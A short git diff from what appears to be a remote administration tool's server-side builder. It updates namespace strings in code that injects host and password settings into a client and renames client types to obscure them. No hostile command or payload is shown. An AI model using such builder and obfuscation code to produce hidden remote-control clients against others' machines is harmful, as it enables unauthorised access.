diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs
index ca8f1795..e20dfede 100644
--- a/Server/Core/Build/ClientBuilder.cs
+++ b/Server/Core/Build/ClientBuilder.cs
@@ -16,7 +16,7 @@ public static void Build(string output, string host, string password, string ins
 
             foreach (var typeDef in asmDef.Modules[0].Types)
             {
-                if (typeDef.FullName == "Client.Settings")
+                if (typeDef.FullName == "xClient.Config.Settings")
                 {
                     foreach (var methodDef in typeDef.Methods)
                     {
diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs
index 4c80944c..d7266cd8 100644
--- a/Server/Core/Build/Renamer.cs
+++ b/Server/Core/Build/Renamer.cs
@@ -50,7 +50,7 @@ public bool Perform()
 
         private void RenameInType(TypeDefinition typeDef)
         {
-            if (typeDef.Namespace.Contains("My") || typeDef.Namespace.Contains("Core.Packets") || typeDef.Namespace == "Core" || typeDef.Namespace == "Core.Elevation" || typeDef.Namespace.Contains("LZ4") || typeDef.Namespace.Contains("ProtoBuf"))
+            if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") || typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" || typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf"))
                 return;
 
             TypeOverloader.GiveName(typeDef);